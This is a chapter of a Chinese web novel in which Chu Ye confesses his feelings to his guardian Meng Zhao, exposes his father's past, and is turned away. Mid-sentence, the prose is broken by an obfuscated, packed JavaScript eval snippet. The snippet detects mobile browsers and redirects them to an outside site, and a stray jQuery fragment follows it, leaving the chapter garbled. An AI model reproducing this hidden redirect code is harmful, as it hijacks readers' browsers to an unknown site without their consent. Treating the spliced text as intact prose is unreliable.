60. 第 60 章

作品:《臭小子,我和你爹是清白的

    关于楚烨说的去红梅坳养伤的事,孟昭没有回应,他们闲了一天,又说了一些长夜门的事,吃过晚饭以后就各回各的房间休息。


    可楚烨的房门刚关上没一会儿,正准备宽衣的时候,有人敲门。


    这里是荒僻山野,大晚上的有人敲门其实很诡异,可大概是孟昭也在这儿,楚烨并不觉得有任何奇怪,将门打开,就看到来的是阿蘅。


    阿蘅的脸色算不上多好,似乎有些局促。


    楚烨莫名道:“阿蘅姑娘?这么晚了,你怎么过来了?”


    他首先想到的就是孟昭。


    “是不是孟昭出事了?”


    阿蘅抬头看了他一眼,又飞快把头低下去了,有些难为情地低声道:“我家主子说,让我过来……伺候楚公子。”


    她的声音颤抖,耳朵尖儿都是红的,双手攥着裙子,似乎快把裙子抓破。


    平时落落大方的姑娘此时却如此反常,楚烨看得奇怪,“我不用人伺候,你去照顾孟昭吧。”


    他说罢就要关门,却被阿蘅拦住。


    阿蘅终于抬了头,一双圆圆的眼睛湿漉漉地看着他,里面带着明显的慌乱。


    “我家主子说了,若是楚公子……觉得一个人寂寞,让我……”


    见阿蘅说话间手已经移到了自己的腰带上,楚烨就算再迟钝也明白了,猛地往后退了一大步。


    “你干什么?!”楚烨有些恼了。


    阿蘅没了动作,却也不出声。


    楚烨只觉得心头火起。


    “这是孟昭的意思?”他问。


    阿蘅不言语。


    楚烨像是受到了什么惊吓,一边往后退一边指着阿蘅道:“你给我站住!别过来!”


    阿蘅就算是妖,但到底也要面子,被楚烨拒绝还被这么呵斥,她觉得委屈又难堪,站在那儿不动。


    楚烨这才放心了似的,后背贴着门,小心翼翼地从她身边溜出去,去了孟昭的房间。


    他平时还算重礼,每次去找孟昭都要敲门,可是这次却没有,他是直接推门进去的。


    孟昭刚准备休息,突然听见门嘭的一声被推开,转头一看,发现进来的人是楚烨,她蹙了蹙眉。


    “大晚上的你不睡觉,来我这儿做什么?”


    不仅来了,而且胸口上下起伏得厉害,好像是在生气。


    楚烨是真的生气,他三步并作两步地到了孟昭面前,怒气腾腾地问:“你让阿蘅去我房间的?”


    明白了他的来意,孟昭倒是轻松了,“哦”了一声,“怎么了?她服侍得不好?”


    楚烨急了,“谁要她服侍了?!”


    “你不是喜欢她吗?”孟昭些许茫然,又很快笑了,“先让她伺候你一段时间,你要是嫌弃她是妖,那我就剔了她的妖骨,这不是什么难事。”


    妖族被剔了妖骨,等同于去了半条命。


    孟昭却说得轻描淡写。


    “孟昭,你……”


    “你放心,我都会处理好。”孟昭拍着楚烨的肩膀,笑得十分让人安心,“只要是你喜欢的,无论什么,我都会给你。”


    她说得真情实感,让楚烨的心都快要涨开了。


    这几个月他们几乎一直在一起,孟昭对他跟对旁人全然不同。


    有人跟他动手,孟昭能断了对方的肋骨;


    有人因为恐惧让他涉险,孟昭就差点杀了对方,哪怕对方只是一个只有几岁的孩子。


    或许是这些事给了楚烨勇气,又或者是他觉得自己要是再不说,还不知道孟昭会把什么人送到他的床上,再或者只是单纯想说了……


    楚烨没有忍住,盯着孟昭的脸问:“如果我要的是你呢?”


    孟昭脸色骤变,她双眉拧起,紧盯着楚烨,嗓音有些阴沉:“你说什么?”


    楚烨咽了口唾沫,鼓足勇气道:“我说,我要的是你……”


    “胡言乱语。”孟昭打断他,骂道,“我与你父乃是至交,你叫我一声姑母都不为过,敢对我存这样的念想?”


    听着孟昭的话,楚烨又想起楚元昌当日在竹楼外面的言语,口不择言地反驳:“什么至交?你以为楚元昌是看中你的修为能力?他只不过是想睡你!”


    孟昭瞪圆了眼睛,居然十分难得的说不出话来。


    刚才是一时激动,现在看到孟昭这样的反应,楚烨才明白自己说了些什么,别过脸道:“我胡说的,你……”


    可孟昭听见了。


    她看楚烨要走,赶紧拉住楚烨的手臂,“你刚才说什么?你爹什么?我一直穿的男装,他怎么可能……”


    她从来没有这么跟楚烨说过话,声音都是颤的。


    上一次这样还是在幽冥界,她要杀王小幺的时候。


    楚烨闭上眼睛,复而睁开,豁出去了:“你不知道吧?楚元昌喜欢男人,他给你的一切特权都只不过是看中了你,想讨好你,得到你……”


    “住口!简直不知所谓!”刚刚自己问起根由的孟昭却突然生了大气,一巴掌狠狠拍在面前的木桌上。


    那木桌本来就陈旧腐朽了,哪怕孟昭还有伤在身,这一拍也让桌子起了裂缝。


    “他要是喜欢男人,那你是从哪儿来的?!他跟你娘做了十几年夫妻,天下皆知,你想用这种话来蒙我?!楚烨,你怎么敢!他怎么敢!”


    孟昭气急了,说话的嗓音都比平时沉了很多,甚至可能因为牵动了旧伤,说着说着就咳嗽起来。


    楚烨赶忙去扶她,却被她一把推开,“滚!”


    楚烨没有滚。


    他知道这件事对于孟昭来说冲击有多大。


    但是既然说了,如果不说清楚,孟昭不会信,若她以后真的回了名剑山,还不知道要出多少事。


    于是楚烨道:“他有什么不敢的?孟昭,你知道我娘为什么生了我以后身体就大不如前吗?你知道为什么我娘只是在新婚之夜跟楚元昌有过一夕之欢就怀了我吗?因为楚元昌让大长老给他炼了一味药,那味药能让我娘给他生下一个儿子,却会坏了我娘的根本!所以我娘死了,她死的那年才三十二岁!而楚元昌呢?他对我娘一点感情都没有,他喜欢的是他的那个贴身近侍,是程双河!当年是我祖父用程双河的性命逼他跟我娘成亲,偏偏我娘单纯,还以为楚元昌对她是一片真心,就因为楚元昌的一句话对他死心塌地!”


    深吸了一口气,楚烨问:“你以为我为什么会杀了程双河?我娘从小教我尊师重道,我却杀了自己的师父……孟昭,你那么聪明,难道真的想不明白吗?”


    孟昭身子晃了晃,拳头越握越紧,“所以……所以你娘这十几年……”


    “我娘一直独守空房,我出生以后,楚元昌连竹楼都不愿意进,我娘的丧礼他甚至都没有出现!”楚烨的情绪也越来越激动,最后说话甚至像吼出来的,“孟昭,这样一个人,他有什么值得你报恩的?!”


    最后一句质问像是终于说到了孟昭的痛处,居然让她喷出一口鲜血。


    楚烨大概没想到会把平时什么都不放在心上的孟昭气得这么狠,也有些后悔自己的一时意气,想过去扶孟昭,却又被孟昭推了一把。


    孟昭看都不看他,指着门口道:“你给我滚出去!”


    “孟昭……”


    “滚!”


    孟昭的右手握成拳头抵在桌子上,桌上那道裂缝越来越大,最后那张桌子终于承受不住似的,裂成了碎片。


    孟昭的脸色越来越苍白,鬓发里流出了豆大的汗珠,甚至双眼翻白,眼看着就要倒在地上。


    楚烨赶紧过去把她扶住,“孟昭,孟昭你怎么了?孟昭……”


    “楚烨……楚烨……你……你爹……”孟昭握着他的手腕,已经有些神志不清。


    阿蘅这时候进来了。


    看到孟昭口吐鲜血地倒在楚烨的怀里,她的脸色骤然变化,几乎是跑过去的。


    “主子,你怎么样?”


    孟昭紧皱着双眉,神色痛苦,根本答不出话。


    阿离把她扶去了床上,转过头就开始推楚烨。


    “楚公子,我要助主子疗伤,你先出去吧。”


    “我帮她疗伤……”


    “你帮不上她,快出去。”


    孟昭躺在床上,又呛了一口血,鲜血流在月白的衣襟上,极是刺目。


    “楚烨!”阿蘅恼了,“你想害死她吗?!”


    楚烨原本还固执地要去给孟昭疗伤,但是听到阿蘅这句话,他站在原地不动了。


    阿蘅跟着孟昭那么久了,照顾孟昭肯定比他周到。


    他出去了,在门外守了一夜,他担心,可又怕惹孟昭生气,所以不敢进去,只能在门外徘徊。


    到了后半夜,房门终于开了,可出来的人不是孟昭,而是阿蘅。


    月光照下来,楚烨能看到阿蘅腰上那圈铃铛,能听到混在夜风里的泠泠声响。


    他疾步过去,说话也不敢大声,几乎用气声问:“她怎么样了?”


    “主子调息过后已经睡下了,楚公子也回去休息吧。”


    可楚烨哪里睡得着?


    “不了,我就在这儿守着她。”越想越内疚,楚烨小声道,“是我把她气成这样的……阿蘅,你跟我说句实话,她的旧伤到底是怎么来的?要不要紧?”


    阿蘅沉默了片刻,终于还是开了口:“楚公子如果想知道,可以自己去问主子。”


    楚烨知道自己问不出来。


    孟昭深不可测,总有事情瞒着他。


    “那你最起码告诉我,怎么才能把她的伤治好?”


    对此,阿蘅的对话却只有一句:“你帮不上忙,别打听了。”


    见楚烨不走,阿蘅又怕他继续追问,干脆自己转身,又回了孟昭的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607652|152332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    屋子。


    孟昭这一觉睡得不好,她体内血气翻涌得厉害,一晚上心绪不宁,天不亮就从床上坐起来。


    阿蘅变回了原身,缩在床角睡着,孟昭没叫她,看见外面露了天光,就想出去走走。


    谁知一开门就看见楚烨蹲在门口,手里抱着一盏灯笼在发呆。


    听到动静,楚烨回过头,一见出来的人是孟昭,立刻站了起来,模样很是小心。


    “你醒了?伤怎么样了?”


    他本来想去扶孟昭,但是看到自己一往前走孟昭就往后退,他便明白了孟昭的意思,不再上前。


    他抱着的灯笼里有荧光在一闪一闪,是他捉来的萤火虫。


    可孟昭扫都没有扫那盏灯笼一眼。


    两人就这么隔着四五步的距离,静静站着。


    过了许久,还是孟昭先开口:“你即便是不想为楚家延续香火,也不用想出那么荒诞的理由。”


    知道孟昭是误会了,楚烨连忙解释:“我说的是真的。我发誓,我昨晚说的全是真话。”


    顿了顿,他又解释:“全是真的,包括跟你有关的,也是真的。”


    昨晚说得太不入流了,他后来思来想去,那样对于孟昭终究是冒犯,今天便不敢再那么露骨。


    可即便如此,孟昭还是紧皱着眉,“我不管你说的是真是假,总之你该干什么干什么去。你不是不喜欢我跟着你吗?以后我不管你了,你只要记得别招惹叶凛,其他的都随你。”


    楚烨觉得,她是真的不想管自己了。


    以前孟昭总跟着他,跟他说教,他觉得孟昭烦。


    可是现在孟昭不管他了,他又觉得浑身不自在。


    明明以前总是念叨他的一个人,怎么突然就不管他了呢?


    是在拒绝他吗?


    “因为我是男人吗?孟昭,你昨晚是骗我的,你还是喜欢女子……”


    “与男女无关。我不生情,对谁都不。情爱于我只是负累,我有其他事情要做,从未想过成亲生子。”孟昭平静道,“楚烨,我杀过很多人,做过很多恶,手上沾的血比你喝过的水都多。你那么宅心仁厚,我非良配,还是各奔东西吧。”


    这就是在拒绝他。


    “我们生来就不是同路之人。天下之大,我所立之处不过方寸,别对我存任何念想,便足够你逍遥来去了。”


    晨光一点点亮起,楚烨就在这逐渐明亮的光线里,缓缓看向孟昭。


    他不是死缠烂打的人。


    姜枫晚爱上了一个不爱自己的人,错付了一生,他那时候就在想,他绝对不要像娘亲那样。


    既然孟昭不喜欢他,那他走就是了。


    可走之前……


    楚烨动了动唇,声音有点哑:“你曾经给我准备的生辰礼,还在吗?”


    曾经孟昭给过他一块玉佩,说是给他准备的生辰礼。


    他当时没要。


    孟昭从衣袖里拿出那个锦盒,扔到了楚烨怀里。


    楚烨把锦盒打开,看见那块玉佩还好好的被红绸包着,好好的放在锦盒里。


    他突然就心满意足了,嘴角一点点勾了起来。


    足够了。


    他把手伸进衣领,解下了姜枫晚给他留的那块白玉。


    虽然缺了一个角,但那是他身上最珍贵的东西了。


    他把白玉和灯笼一起放到了身边的断墙上。


    “这是那天晚上答应要做给你的灯笼,可能不如你娘做得好,你别嫌弃……还有这块玉佩,这是我娘留给我的,你如果要就收着,如果不要就扔了,总之,你高兴就好。”


    “……”


    “孟昭,你多保重。”


    孟昭是看着楚烨走的,没有留他。


    楚烨现在长大了,不像以前那么冲动,修为也高了,不用她一直跟着。


    看着楚烨走远,孟昭才去那面矮墙旁,拿起了楚烨留给她的那块玉佩。


    那块玉佩楚烨应该戴了很久,缺角的地方都被磨得很光滑。


    指腹在边缘摩挲了一阵,孟昭把那块玉佩小心翼翼地放进怀里,又去抚摸那盏灯笼。


    小时候娘亲也会做灯笼,然后和爹爹一起抓萤火虫哄她高兴。


    “阿离,是爹娘对不起你,但你不能活。”浑身是血的爹爹用手掐着孟昭的脖子,“很快就不疼了,你别怕。”


    那一年,孟昭五岁。


    那盏灯笼没了,萤火虫死了,他的爹娘也死了。


    她神情冷漠地盯着那盏灯笼看了许久,唯有眼底有着不易让人察觉的暖。


    也不知过了多久,她把那些萤火虫都放了,看着它们从灯笼里飞出来,渐渐飞远,看着那些亮光逐渐消失。


    萤火虫的生命本就短暂,也不知道还能活几天,没必要让它们死在这盏灯笼里。


    她也是,不知还能活几天。